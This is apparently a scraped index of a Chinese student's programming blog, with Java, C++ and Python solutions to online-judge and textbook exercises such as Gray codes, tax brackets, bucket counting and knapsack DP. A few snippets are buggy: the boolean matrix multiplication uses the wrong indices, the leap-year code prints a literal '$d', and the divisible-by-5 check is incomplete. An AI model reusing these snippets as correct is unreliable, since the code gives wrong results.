bMatrix, n); 36 break; 37 default: 38 System.out.println(\u0026#34;Invalid operator\u0026#34;); 39 return; 40 } 41 42 for (int i = 0; i \u0026lt; n; i++) { 43 for (int j = 0; j \u0026lt; n; j++) { 44 System.out.print(result[i][j] ? \u0026#34;1 \u0026#34; : \u0026#34;0 \u0026#34;); 45 } 46 System.out.println(); 47 } 48 } 49 50 public static boolean[][] matrixAddition(boolean[][] aMatrix, boolean[][] bMatrix, int n) { 51 boolean[][] result = new boolean[n][n]; 52 for (int i = 0; i \u0026lt; n; i++) { 53 for (int j = 0; j \u0026lt; n; j++) { 54 result[i][j] = aMatrix[i][j] || bMatrix[i][j]; 55 } 56 } 57 return result; 58 } 59 60 public static boolean[][] matrixMultiplication(boolean[][] aMatrix, boolean[][] bMatrix, int n) { 61 boolean[][] result = new boolean[n][n]; 62 for (int i = 0; i \u0026lt; n; i++) { 63 for (int j = 0; j \u0026lt; n; j++) { 64 for (int k = 0; k \u0026lt; n; k++) { 65 result[i][j] = result[i][j] || (aMatrix[i][j] \u0026amp;\u0026amp; bMatrix[i][j]); // 没有 ||= 运算符 66 } 67 } 68 } 69 return result; 70 } 71} 用递归的方式生成n位的格雷码。所谓格雷码的规则为:对于n+1位的编码,先对n位编码按照顺序前面依次加0,生成0开头的n+1位编码,再对n位编码逆序,前面加1,生成1开头的n+1位编码。例如:一位编码为0和1,则二位编码,首先在0和1前面加0,生成00,01两个编码,然后对0和1进行逆序,得到1和0,前面加1,得到新的两位编码为11,10。从而生成所有的二位编码。 从键盘输出一个n,生成n位所有编码,并将编码存储在一个一维数组中输出。\n1example: 2 3input: 41 5 6output: 7[\u0026#39;0\u0026#39;, \u0026#39;1\u0026#39;] 8 9input: 102 11 12output: 13[\u0026#39;00\u0026#39;, \u0026#39;01\u0026#39;, \u0026#39;11\u0026#39;, \u0026#39;10\u0026#39;] 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.Arrays; 5 6public class Main { 7 public static void main(String[] args) { 8 Scanner sc = new Scanner(System.in); 9 int n = sc.nextInt(); 10 sc.close(); 11 12 String[] gray = new String[(int) Math.pow(2, n)]; 13 for (int i = 0; i \u0026lt; gray.length; i++) { 14 gray[i] = getGrayCode(i, n); 15 } 16 System.out.println(Arrays.toString(gray)); 17 } 18 19 public static String getGrayCode(int n, int length) { 20 int gray = n ^ (n \u0026gt;\u0026gt; 1); // 错位异或得到格雷码 21 return String.format(\u0026#34;%\u0026#34; + length + \u0026#34;s\u0026#34;, Integer.toBinaryString(gray)).replace(\u0026#39; \u0026#39;, \u0026#39;0\u0026#39;); 22 } 23} 从键盘接收一个整数,判断一下该整数是奇数还是偶数,如果是奇数,输出“odd\u0026quot;,如果是偶数,输出“even” 1example: 2 3input: 420 5 6output: 7even 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 try (Scanner sc = new Scanner(System.in)) { 8 System.out.println(sc.nextInt() % 2 == 0 ? \u0026#34;even\u0026#34; : \u0026#34;odd\u0026#34;); 9 } 10 } 11} 考虑我国的税务制度,采用分级制度,全年应纳税所得额不超过36000元的,税率3%,超过36000不超过144000元的部分,税率为10%,全年所得额超过144000不超过300000的部分,税率为20%,全年应纳税所得额超过300000不超过420000的部分,税率为25%。超过420000税率30% 从键盘输入一个人的全年总收入,计算他的个人所得税金额及剩余全年总收入。\n1example: 2 3input: 440000 5 6output: 71120.0 38880.0 1// 样例输出错了 2package com.jackgdn; 3 4import java.util.Scanner; 5 6public class Main { 7 public static void main(String[] args) { 8 double raw; 9 try (Scanner sc = new Scanner(System.in)) { 10 raw = sc.nextDouble(); 11 } 12 13 double tax = 0, income = raw; 14 if (income \u0026gt; 420000) { 15 tax += (income - 420000) * 0.3; 16 income = 420000; 17 } 18 if (income \u0026gt; 300000) { 19 tax += (income - 300000) * 0.25; 20 income = 300000; 21 } 22 if (income \u0026gt; 144000) { 23 tax += (income - 144000) * 0.2; 24 income = 144000; 25 } 26 if (income \u0026gt; 36000) { 27 tax += (income - 36000) * 0.1; 28 income = 36000; 29 } 30 if (income \u0026gt; 0) { 31 tax += income * 0.03; 32 } 33 34 System.out.println(String.format(\u0026#34;%.2f %.2f\u0026#34;, tax, income - tax)); 35 } 36} 从键盘输入一个代表年份的四位数,判断一下当前输入的年份是不是闰年,是闰年返回“is leap year”,不是闰年返回“is not leap year” 1example: 2 3input: 42024 5 6output: 7is leap year 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 try (Scanner sc = new Scanner(System.in)) { 8 int year = sc.nextInt(); 9 if (year % 400 == 0 || (year % 4 == 0 \u0026amp;\u0026amp; year % 100 != 0)) { 10 System.out.println(String.format(\u0026#34;$d is a leap year\u0026#34;)); 11 } else { 12 System.out.println(String.format(\u0026#34;$d is not a leap year\u0026#34;)); 13 } 14 } 15 } 16} 从键盘读入一组数据,用“#”结束。将读入的数据存在一维数组中,输出的一维数组为原一维数组每位的平方。 1example: 2 3input: 43 54 65 76 8# 9 10output: 11[9, 16, 25, 36] 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.List; 5import java.util.ArrayList; 6 7public class Main { 8 public static void main(String[] args) { 9 try (Scanner sc = new Scanner(System.in)) { 10 List\u0026lt;Integer\u0026gt; nums = new ArrayList\u0026lt;\u0026gt;(); 11 String input; 12 while (!(input = sc.nextLine()).equals(\u0026#34;#\u0026#34;)) { // 在赋值时计算 13 nums.add((int) Math.pow(Integer.parseInt(input), 2)); 14 } 15 System.out.println(nums); 16 } 17 } 18} 从键盘读入一组空格分隔的数字字符,将这些数字字符转换为数值类型存储在一个一维数组中。判断一下该一组数组中存的数是不是单调递增的。单调递增的概念是对于一维数组list1而言,list1[i] \u0026lt;= list1[i + 1]。如果该一维数组是单调递增的返回True,否则返回False。注:空格隔开的数字字符中不包括小数点。 1example: 2 3input: 41 3 5 7 9 5 6output: 7True 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 try (Scanner sc = new Scanner(System.in)) { 8 int previous = Integer.MIN_VALUE, current = Integer.MIN_VALUE; 9 while (sc.hasNextInt()) { // hasNextInt() 以 ^Z 或 ^D 结束输入(需要 EOF) 10 previous = current; 11 current = sc.nextInt(); 12 if (previous \u0026gt; current) { 13 System.out.println(false); 14 return; 15 } 16 } 17 System.out.println(true); 18 } 19 } 20} 从键盘接收一组空格隔开的数字字符,将他们存储在一个一位数组中。删除其中包含字符\u0026quot;5\u0026quot;的字符串,并将其中能转换成数字字符,能被5整除的也删掉。 1example: 2 3input: 412345 21532 55123 14268 10000 5 6output: 7[\u0026#39;14268\u0026#39;] 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.List; 5import java.util.ArrayList; 6 7public class Main { 8 public static void main(String[] args) { 9 try (Scanner sc = new Scanner(System.in)) { 10 List\u0026lt;Integer\u0026gt; result = new ArrayList\u0026lt;\u0026gt;(); 11 String[] numStringArray = sc.nextLine().trim().split(\u0026#34;\\\\s+\u0026#34;); 12 for (String numString : numStringArray) { 13 if (!numString.contains(\u0026#34;5\u0026#34;) \u0026amp;\u0026amp; !(numString.charAt(numString.length() - 1) == \u0026#39;0\u0026#39;)) { 14 result.add(Integer.parseInt(numString)); 15 } 16 } 17 System.out.println(result); 18 } 19 } 20} 从键盘接收一个长字符串,输出里面包含的元音字符的个数。(注意:大小写的元音字符都要统计) 1example: 2 3input: 4aibie 5 6output: 74 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 try (Scanner sc = new Scanner(System.in)) { 8 String s = sc.nextLine(); 9 int count = 0; 10 for (char c : s.toCharArray()) { 11 if (\u0026#34;aeiouAEIOU\u0026#34;.contains(String.valueOf(c))) { 12 count++; 13 } 14 } 15 System.out.println(count); 16 } 17 } 18} 从键盘接收一个空格隔开的数字字符,并把它们转换为int类型数据存在一个一维数组中,统计一下其中素数的个数。如果没有任何素数,返回0. 1example: 2 3input: 41 3 5 7 9 5 6output: 71 3 5 7 9 83 9 10input: 112 4 6 8 10 12 13output: 141 从键盘接收一个空格隔开的数字字符,并把它们转换为int类型数据存在一个一维数组中,统计一下其中素数的个数。如果没有任何素数,返回0. 1example: 2 3input: 41 3 5 7 9 5 6output: 71 3 5 7 9 83 9 10input: 112 4 6 8 10 12 13output: 141 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.List; 5import java.util.Arrays; 6import java.util.stream.Collectors; 7 8public class Main { 9 public static void main(String[] args) { 10 try (Scanner sc = new Scanner(System.in)) { 11 int count = 0; 12 List\u0026lt;Integer\u0026gt; nums = Arrays.stream(sc.nextLine().trim().split(\u0026#34;\\\\s+\u0026#34;)) 13 .map(Integer::parseInt) 14 .collect(Collectors.toList()); 15 for (int num : nums) { 16 if (isPrime(num)) { 17 count++; 18 } 19 } 20 System.out.println(count); 21 } 22 } 23 24 public static boolean isPrime(int n) { 25 if (n \u0026lt;= 1) { 26 return false; 27 } 28 for (int i = 2; i * i \u0026lt;= n; i++) { 29 if (n % i == 0) { 30 return false; 31 } 32 } 33 return true; 34 } 35} 从键盘输入一个n,生成一个n*n的二维数组,二维数组为一个单位矩阵。即除主对角线全为1外,其余部分全为0.按行打印二维数组如example所示。 1example: 2 3input: 43 5 6output: 7[1, 0, 0] 8[0, 1, 0] 9[0, 0, 1] 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.Arrays; 5 6public class Main { 7 public static void main(String[] args) { 8 try (Scanner sc = new Scanner(System.in)) { 9 int n = sc.nextInt(); 10 int[][] matrix = new int[n][n]; 11 for (int i = 0; i \u0026lt; n; i++) { 12 for (int j = 0; j \u0026lt; n; j++) { 13 matrix[i][j] = i == j ? 1 : 0; 14 } 15 System.out.println(Arrays.toString(matrix[i])); 16 } 17 } 18 } 19} ","link":"https://jackgdn.github.io/post/java%E7%BB%83%E4%B9%A06/","section":"post","tags":["Java"],"title":"Java 练习(六)"},{"body":"习题均来自 NEFU OJ Problem 357 | 天下无双 Description 太极生两仪,两仪生四象,四象生八卦,八卦生万物。天地初开,万物皆欲成双成对;芸芸丛生,谁愿孤苦伶仃。知音难觅,阳春白雪绕梁何久,千古一绝,神雕侠女驰骋九洲。 天下岂无双?千古绝唱为知音。情寄雨丝丝,述相思之意;梦随风万里,寻同道之人。共聚一堂,为梦想而努力;携手共进,为程序而疯狂! 夜夜编程不漫长,只因与君共拼搏…… 给定n个数,其数值范围在1到n-1中,已知其中必有两个数是相同的,要求你找出并输出。(2\u0026lt;=n\u0026lt;=1,000,000)\nInput 多组数据输入. 每组输入第一行一个数n。第二行n个数,其数值范围为1..n-1。\nOutput 每组输出一行一个数,即出现过两次的数。\nSample Input 15 22 3 1 4 2 38 47 6 1 2 3 5 4 7 Sample Output 12 27 第一眼看到这道题的时候,我想到了力扣两数之和,因而选择使用哈希表来解决这一问题:\n1import java.util.Scanner; 2import java.util.Map; 3import java.util.HashMap; 4 5public class Main { 6 public static void main(String[] args) { 7 try (Scanner scanner = new Scanner(System.in)) { 8 while (scanner.hasNextInt()) { 9 Map\u0026lt;Integer, Integer\u0026gt; map = new HashMap\u0026lt;\u0026gt;(); 10 int n = scanner.nextInt(); 11 for (int i = 0; i \u0026lt; n; i++) { 12 int num = scanner.nextInt(); 13 int count = map.getOrDefault(num, 0); 14 if (count == 1) { 15 System.out.println(num); 16 } 17 map.put(num, count + 1); 18 } 19 } 20 } 21 } 22} 不过超时了…… 随后我想到,使用 Map\u0026lt;Integer, Integer\u0026gt; 不如使用 int[] ,故修改代码如下:\n1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 try (Scanner scanner = new Scanner(System.in)) { 6 while (scanner.hasNextInt()) { 7 int n = scanner.nextInt(); 8 int[] nums = new int[n]; 9 for (int i = 0; i \u0026lt; n; i++) { 10 int value = scanner.nextInt(); 11 if (nums[value - 1] == 1) { 12 System.out.println(value); 13 } 14 nums[value - 1]++; 15 } 16 } 17 } 18 } 19} 还是 TLE…… 这次我怀疑是语言的问题,遂改 C++ 尝试:\n1#include \u0026lt;iostream\u0026gt; 2#include \u0026lt;vector\u0026gt; 3 4int main() { 5 6 int n; 7 while (std::cin \u0026gt;\u0026gt; n) { 8 std::vector\u0026lt;int\u0026gt; nums(n, 0); 9 10 for (int i = 0; i \u0026lt; n; i++) { 11 int value; 12 std::cin \u0026gt;\u0026gt; value; 13 if (nums[value - 1] == 1) { 14 std::cout \u0026lt;\u0026lt; value \u0026lt;\u0026lt; std::endl; 15 } 16 nums[value - 1]++; 17 } 18 } 19 20 return 0; 21} AC!\nProblem 1604 | QWQ和彩色石-map Description QWQ来到了一个神奇的地方,这个地方有很多颜色不同的彩色石,每个颜色都可以用一个数字来代替,QWQ收集了一堆石子,他想知道这堆石子中颜色相同的石子个数的最大值\nInput 第1行输入一个数字n,代表这堆石子的个数 第二行输入n个数,代表n个石子的颜色 保证输入的所有数都不超过100\nOutput 输出一个数字,代表颜色相同的石子个数的最大值\nSample Input 110 21 3 5 7 9 1 2 3 5 5 Sample Output 13 又是一个桶排序。\n1#include \u0026lt;iostream\u0026gt; 2 3int main() { 4 5 unsigned char stones[101] = {0}; // 既然数字都不超过 100,不妨用 unsigned char 6 int n, k; 7 std::cin \u0026gt;\u0026gt; n; 8 for (int i = 0; i \u0026lt; n; i++) { 9 std::cin \u0026gt;\u0026gt; k; 10 stones[k]++; 11 } 12 13 int max = 0; 14 for (int i = 0; i \u0026lt; 101; i++) { 15 if (stones[i] \u0026gt; max) { 16 max = stones[i]; 17 } 18 } 19 20 std::cout \u0026lt;\u0026lt; max \u0026lt;\u0026lt; std::endl; 21 22 return 0; 23} AC!\nProblem 1605 | QWQ和翻译机 Description QWQ拥有一台破烂的翻译机,作为他在星际旅行时候的必备物品,某日,他来的一颗名为倒置星的星球,这个星球上的所有东西都是倒置的,就连说话也要倒过来说,比如,translate在这颗星球上就是etalsnart,QWQ想依靠这台破烂的翻译机完成语言交流,然而,这台翻译机每次翻译的结果并不一定是正确的,你能告诉QWQ每次翻译的结果是否正确么?如果争取就输出’YES‘,否则输出’NO‘。\nInput 每组输入占2行 第一行位QWQ想说的话 第二行位翻译机翻译的结果 每句话的长度不超过100个字符\nOutput 每组输出占一行 YES或者NO\nSample Input 1样例一: 2code 3edoc 4 5样例二: 6abb 7aba Sample Output 1样例一: 2YES 3 4样例二: 5NO 简单的字符串倒置,语法题。\n1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 Scanner scanner = new Scanner(System.in); 6 String raw = scanner.nextLine(); 7 String translated = scanner.nextLine(); 8 scanner.close(); 9 10 StringBuilder sb = new StringBuilder(raw); 11 System.out.println(sb.reverse().toString().equals(translated) ? \u0026#34;YES\u0026#34; : \u0026#34;NO\u0026#34;); 12 } 13} AC!\nProblem 1606 | QWQ和棋局挑战 Description 众所周知QWQ的棋艺已经到了独孤求败的地步,某日一位来自泰坦星的勇士前来向QWQ发起挑战,不过挑战的项目却非常奇怪:这位勇士要求QWQ在一个n x n大小的棋盘上放置k个棋子,并要求放置后的棋盘上每一行和每一列最多有一个棋子,显然这个问题是如此的简单,所以这位勇士要求QWQ告诉他这样的棋局共有多少种? 你能帮助QWQ解决这个问题么?\nInput 每组输入占据一行 一行有两个数字 分别表示棋盘的大小n和要求放置的棋子k 0\u0026lt;n\u0026lt;9 , 0\u0026lt;k\u0026lt;=n\nOutput 每组输入占据一行 输出这样的棋局的种类数目\nSample Input 1样例一: 22 1 3 4样例二: 52 2 Sample Output 1样例一: 24 3 4样例二: 52 这是一道简单的排列组合问题。首先在n行中无序选出k行,再在n列中有序选出k列,即 。\n1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 Scanner scanner = new Scanner(System.in); 6 int n = scanner.nextInt(); 7 int k = scanner.nextInt(); 8 scanner.close(); 9 10 System.out.println(combination(n, k) * arrangement(n, k)); 11 } 12 13 public static int arrangement(int n, int k) { 14 if (k == 1) { 15 return n; 16 } 17 int result = 1; 18 for (int i = 1; i \u0026lt;= k; i++) { 19 result *= n - i + 1; 20 } 21 return result; 22 } 23 24 public static int combination(int n, int k) { 25 if (k \u0026gt; n / 2) { 26 k = n - k; 27 } 28 return arrangement(n, k) / arrangement(k, k); 29 } 30} Problem 1607 | QWQ和神秘商人 Description 众所周知,QWQ热衷于星际探险和旅行,一天他来到了K星,在这里他遇到了一位神秘的商人,这位商人手中有n个宝物,每个宝物都有一定的价格和珍藏值。如果QWQ想从商人手中购买宝物,就只能花费宇宙中唯一的通货——永恒宝石,但是在K星上关于购买宝物有奇怪的规定:\n购买者手中永恒宝石的数量必须大于或者等于想要购买宝物的价格; 每当完成一个交易,购买者手中永恒宝石的数量就会变成所购买的宝物的价格,不论购买者原来有多少个永恒宝石;\n现在,QWQ手中有k个永恒宝石,如果他想换取最大的珍藏值,这个值是多少呢?\nInput 每组输入有三行 第一行 宝物数量n,初始宝石数量k 第二行 每一个宝物的价格 第三行 每个宝物的珍藏值\n1 \u0026lt;= n \u0026lt;= 100000 其余输入均不大于100\nOutput 输出最大的珍藏值\nSample Input 15 6 22 4 6 8 10 31 50 10 2 50 Sample Output 161 乍一看像是一个背包问题,但是拼尽全力无法写出状态转移方程,随后灵光乍现,这道题还是要用桶排序来解。\n1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 int n, k; 6 int[] price = new int[100001]; 7 int[] value = new int[101]; 8 9 Scanner scanner = new Scanner(System.in); 10 n = scanner.nextInt(); 11 k = scanner.nextInt(); 12 for (int i = 0; i \u0026lt; n; i++) { 13 price[i] = scanner.nextInt(); 14 } 15 for (int i = 0; i \u0026lt; n; i++) { 16 value[price[i]] += scanner.nextInt(); 17 } 18 scanner.close(); 19 20 int maxValue = 0; 21 for (int i = 1; i \u0026lt;= k; i++) { 22 maxValue += value[i]; 23 } 24 System.out.println(maxValue); 25 } 26} AC!\nProblem 1608 | QWQ和神奇的传送器 Description 《无敌破坏王2》上映啦!QWQ作为Disney的忠实粉丝当然去贡献票房了。电影里的无敌破坏王和云妮洛普来到了互联网的世界,在这里,每个上网的人都是一个个虚拟的相同的小人物,当他们点击到某个网站时,虚拟的人物会乘坐一个神奇的传送器前往目的网站。 QWQ看到这个细节认为一个神奇的传送器只搭载一个人传输效率太低了,所以他觉得如果每个传送器能够搭载无数个人就好了,那么如果此时只有m个神奇的传送器,但有n个人等着被传送,不允许传送器有空载并且每个人看作是相同的,有多少种安排方式呢?\nInput 先输入一个t,代表数据的组数 每组数据只有一行有两个数字,之间用一个空格作为间隔,分表代表m、n 保证1\u0026lt;=m\u0026lt;=n\u0026lt;=12\nOutput 对于每组数据,输出一个数字,代表安排方式的种数\nSample Input 11 21 2 Sample Output 11 题目描述讲的不明不白,给的测试用例也莫名其妙。做出来后知道这个排列组合问题的设定是,m 个传送器互不相同,n 个人相同。\n尝试使用动态规划解决问题。用 dp[i][j] 表示有 j 个人分配给 i 个传送器,想要处理这种情况,有两种可能的前置情况:\n前 j-1 个人已经分配给了 i 个传送器,此时新添一个人坐到任意一个传送器上; 前 j-1 个人分配给 i-1 个传送器,新来的一个人单独坐一个传送器。 因此得到状态转移方程 dp[i][j] = dp[i][j - 1] + dp[i - 1][j - 1]。\n另一个问题是 dp 初始化问题。有以下几部分需要考虑:\n当只有一个传送器时,即 i=1 时,所有人只能坐一个传送器,因此无论 j 为多少,dp[i][j] 均为 1; 当人数和传送器数量相等时,即 i=j 时,一人一个传送器,dp[i][j] 均为 1; 当传送器数量大于人数时,即 j\u0026gt;i 时,有些传送器空载,状态无效。 根据得到的信息写程序:\n1import java.util.Scanner; 2 3public class Main { 4 5 public static void main(String[] args) { 6 Scanner scanner = new Scanner(System.in); 7 int t = scanner.nextInt(); 8 9 while (t-- \u0026gt; 0) { 10 int m = scanner.nextInt(); 11 int n = scanner.nextInt(); 12 System.out.println(countWays(m, n)); 13 } 14 15 scanner.close(); 16 } 17 18 private static int countWays(int m, int n) { 19 int[][] dp = new int[m + 1][n + 1]; 20 21 for (int i = 1; i \u0026lt;= m; i++) { 22 dp[i][i] = 1; 23 } 24 for (int i = 1; i \u0026lt;= n; i++) { 25 dp[1][i] = 1; 26 } 27 28 for (int i = 2; i \u0026lt;= m; i++) { 29 for (int j = i + 1; j \u0026lt;= n; j++) { 30 dp[i][j] = dp[i][j - 1] + dp[i - 1][j - 1]; 31 } 32 } 33 34 return dp[m][n]; 35 } 36} AC!\n等等!这里的 dp 数组似乎是一个杨辉三角,而杨辉三角又可以表示为二项式系数,二项式系数又可以表示为组合数,难道说……\n用隔板法也可以解决这道题!\n1import java.util.Scanner; 2 3public class Main { 4 5 public static void main(String[] args) { 6 Scanner scanner = new Scanner(System.in); 7 int t = scanner.nextInt(); 8 9 while (t-- \u0026gt; 0) { 10 int m = scanner.nextInt(); 11 int n = scanner.nextInt(); 12 System.out.println(combination(m - 1, n - 1)); 13 } 14 15 scanner.close(); 16 } 17 18 private static int combination(int m, int n) { 19 if (m \u0026gt; n / 2) { 20 m = n - m; 21 } 22 return arrangement(m, n) / arrangement(m, m); 23 } 24 25 private static int arrangement(int m, int n) { 26 if (m == 1) { 27 return n; 28 } 29 int res = 1; 30 for (int i = n; i \u0026gt; n - m; i--) { 31 res *= i; 32 } 33 return res; 34 } 35} 还是 AC!\n而且这里的 combination 函数还能继续优化,从而把 arrangement 函数抛弃掉:\n1import java.util.Scanner; 2 3public class Main { 4 5 public static void main(String[] args) { 6 Scanner scanner = new Scanner(System.in); 7 int t = scanner.nextInt(); 8 9 while (t-- \u0026gt; 0) { 10 int m = scanner.nextInt(); 11 int n = scanner.nextInt(); 12 System.out.println(combination(m - 1, n - 1)); 13 } 14 15 scanner.close(); 16 } 17 18 private static int combination(int m, int n) { 19 if (m == 1) { 20 return n; 21 } 22 if (m == n) { 23 return 1; 24 } 25 if (m \u0026gt; n / 2) { 26 m = n - m; 27 } 28 int res = 1; 29 for (int i = 1; i \u0026lt;= m; i++) { 30 res = res * (n - m + i) / i; 31 } 32 return res; 33 } 34} AC!\nProblem 1609 | QWQ和QAQ Description QWQ的朋友QAQ开了一个A工厂,但QAQ不是一个很精明的老板,A工厂只生产三种产品,需要三种原材料,第一种产品分别消耗第一种原材料a1、第二种原材料b1、第三种原材料c1,第二种产品分别是a2、b2、c2,第三种产品分别是a3、b3、c3,但原材料总量是有限制的,分别是a、b、c,第一种产品可以盈利d1元,第二种产品可以盈利d2元,第三种原材料可以盈利d3元,由于每个产品都不可以分解,所以所有产品的生产量一定是整数。QAQ不知道怎么合理安排生产让他的盈利最大,于是他求助QWQ,QWQ更不知道了,但你一定知道\nInput 先输入一个数字t(t\u0026lt;20),代表数组的组数 每组数据包括五行 第一行三个数字a1、b1、c1 第二行三个数字a2、b2、c2 第三行三个数字a3、b3、c3 第四行三个数字a、b、c 第五行三个数字d1、d2、d3 保证所有输入都是非负整数,并且不大于200\nOutput 输出最大的总盈利\nSample Input 11 21 1 1 31 1 1 41 1 1 53 3 3 61 2 3 Sample Output 19 一道三维完全背包问题:有三件物品,每件物品有三个维度的重量,而且每件物品都可以无限获取。 物品数量较低,考虑使用深搜:\n1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 Scanner sc = new Scanner(System.in); 6 int t = sc.nextInt(); 7 while (--t \u0026gt;= 0) { 8 int[] a = new int[4]; 9 int[] b = new int[4]; 10 int[] c = new int[4]; 11 int[] d = new int[4]; 12 13 for (int i = 1; i \u0026lt;= 4; i++) { 14 a[i % 4] = sc.nextInt(); 15 b[i % 4] = sc.nextInt(); 16 c[i % 4] = sc.nextInt(); 17 } 18 d[1] = sc.nextInt(); 19 d[2] = sc.nextInt(); 20 d[3] = sc.nextInt(); 21 22 int s1 = 0, s2 = 0, s3 = 0; 23 System.out.println(dfs(a, b, c, d, s1, s2, s3)); 24 } 25 sc.close(); 26 } 27 28 public static int dfs(int[] a, int[] b, int[] c, int[] d, int s1, int s2, int s3) { 29 int usedA = a[1] * s1 + a[2] * s2 + a[3] * s3; 30 int usedB = b[1] * s1 + b[2] * s2 + b[3] * s3; 31 int usedC = c[1] * s1 + c[2] * s2 + c[3] * s3; 32 if (usedA \u0026gt; a[0] || usedB \u0026gt; b[0] || usedC \u0026gt; c[0]) { 33 return 0; 34 } 35 36 int currentProfit = d[1] * s1 + d[2] * s2 + d[3] * s3; 37 int profit1 = dfs(a, b, c, d, s1 + 1, s2, s3); 38 int profit2 = dfs(a, b, c, d, s1, s2 + 1, s3); 39 int profit3 = dfs(a, b, c, d, s1, s2, s3 + 1); 40 int maxProfit = Math.max(Math.max(currentProfit, profit1), Math.max(profit2, profit3)); 41 return maxProfit; 42 } 43} 超时了……再一看这道题,每一个数据都不超过 200,也就是说,即使在最极端的情况下,也就是每个维度的背包都为 200 而每件物品各个维度的重量都为 1 时,一件物品最多有 200 件,所以试试枚举。\n1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 Scanner sc = new Scanner(System.in); 6 int t = sc.nextInt(); 7 while (--t \u0026gt;= 0) { 8 int[] a = new int[4]; 9 int[] b = new int[4]; 10 int[] c = new int[4]; 11 int[] d = new int[4]; 12 13 for (int i = 1; i \u0026lt;= 4; i++) { 14 a[i % 4] = sc.nextInt(); 15 b[i % 4] = sc.nextInt(); 16 c[i % 4] = sc.nextInt(); 17 } 18 d[1] = sc.nextInt(); 19 d[2] = sc.nextInt(); 20 d[3] = sc.nextInt(); 21 22 System.out.println(enumerate(a, b, c, d)); 23 } 24 sc.close(); 25 } 26 27 public static int enumerate(int[] a, int[] b, int[] c, int[] d) { 28 int maxProfit = 0; 29 for (int s1 = 0; s1 \u0026lt;= 200; s1++) { 30 for (int s2 = 0; s2 \u0026lt;= 200; s2++) { 31 for (int s3 = 0; s3 \u0026lt;= 200; s3++) { 32 int usedA = a[1] * s1 + a[2] * s2 + a[3] * s3; 33 int usedB = b[1] * s1 + b[2] * s2 + b[3] * s3; 34 int usedC = c[1] * s1 + c[2] * s2 + c[3] * s3; 35 if (usedA \u0026gt; a[0] || usedB \u0026gt; b[0] || usedC \u0026gt; c[0]) { 36 break; 37 } 38 int currentProfit = d[1] * s1 + d[2] * s2 + d[3] * s3; 39 maxProfit = Math.max(maxProfit, currentProfit); 40 } 41 } 42 } 43 return maxProfit; 44 } 45} AC!\nProblem 1610 | 海贼的奖品赞助 Description 本次ACM校赛得到了海贼科技的小部分奖品的赞助(30个水杯),尽管赞助的奖品不多,但也是要感谢赞助商的!由于水杯是加急定制的,所以生产水杯的的过程和以往不同,从而导致了水杯的高度竟然是不一样的;规定水杯高度低于20.00CM 为不合格的产品,你能计算一下这批水杯的合格率吗?\nInput 本题单组数据! 输入数据第一行为n,表示水杯的数量;接下来是这n个水杯的高度(实数);\nOutput 输出这批水杯的合格率(保留2位小数);合格率=合格数量/总数\nSample Input 15 219.23 18.00 21.00 22.00 20.00 Sample Output 10.60 简单题\n1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 Scanner sc = new Scanner(System.in); 6 double n = sc.nextDouble(); 7 int qualified = 0; 8 for (int i = 0; i \u0026lt; n; i++) { 9 if (sc.nextDouble() \u0026gt;= 20.00) { 10 qualified++; 11 } 12 } 13 sc.close(); 14 System.out.println(String.format(\u0026#34;%.2f\u0026#34;, qualified / n)); 15 } 16} AC!\n","link":"https://jackgdn.github.io/post/lanqiao-week1/","section":"post","tags":["算法","桶排序","动态规划","dfs"],"title":"2025寒假算法练习——Week 1"},{"body":"","link":"https://jackgdn.github.io/tags/%E6%A1%B6%E6%8E%92%E5%BA%8F/","section":"tags","tags":null,"title":"桶排序"},{"body":"通俗易懂的 0-1 背包问题讲解视频:带你学透0-1背包问题!| 关于背包问题,你不清楚的地方,这里都讲了!| 动态规划经典问题 | 数据结构与算法\n题目来自洛谷题单背包问题\n[NOIP2005 普及组] 采药 题目描述 辰辰是个天资聪颖的孩子,他的梦想是成为世界上最伟大的医师。为此,他想拜附近最有威望的医师为师。医师为了判断他的资质,给他出了一个难题。医师把他带到一个到处都是草药的山洞里对他说:“孩子,这个山洞里有一些不同的草药,采每一株都需要一些时间,每一株也有它自身的价值。我会给你一段时间,在这段时间里,你可以采到一些草药。如果你是一个聪明的孩子,你应该可以让采到的草药的总价值最大。”\n如果你是辰辰,你能完成这个任务吗?\n输入格式 第一行有 $2$ 个整数 $T$($1 \\le T \\le 1000$)和 $M$($1 \\le M \\le 100$),用一个空格隔开,$T$ 代表总共能够用来采药的时间,$M$ 代表山洞里的草药的数目。\n接下来的 $M$ 行每行包括两个在 $1$ 到 $100$ 之间(包括 $1$ 和 $100$)的整数,分别表示采摘某株草药的时间和这株草药的价值。\n输出格式 输出在规定的时间内可以采到的草药的最大总价值。\n样例 #1 样例输入 #1 170 3 271 100 369 1 41 2 样例输出 #1 13 提示 【数据范围】\n对于 $30%$ 的数据,$M \\le 10$; 对于全部的数据,$M \\le 100$。 【题目来源】\nNOIP 2005 普及组第三题\n题解 使用二维数组:\n1def main(): 2 T, M = map(int, input().split(\u0026#34; \u0026#34;)) 3 t, m = [0], [0] 4 for _ in range(M): 5 tn, mn = map(int, input().split(\u0026#34; \u0026#34;)) 6 t.append(tn) 7 m.append(mn) 8 9 dp = [[0 for _ in range(T + 1)] for _ in range(M + 1)] 10 for i in range(1, M + 1): 11 for j in range(1, T + 1): 12 if t[i] \u0026gt; j: 13 dp[i][j] = dp[i - 1][j] 14 else: 15 dp[i][j] = max(dp[i - 1][j], dp[i - 1][j - t[i]] + m[i]) 16 print(dp[-1][-1]) 17 18 19if __name__ == \u0026#34;__main__\u0026#34;: 20 main() 使用一维滚动数组:\n1def main(): 2 T, M = map(int, input().split(\u0026#34; \u0026#34;)) 3 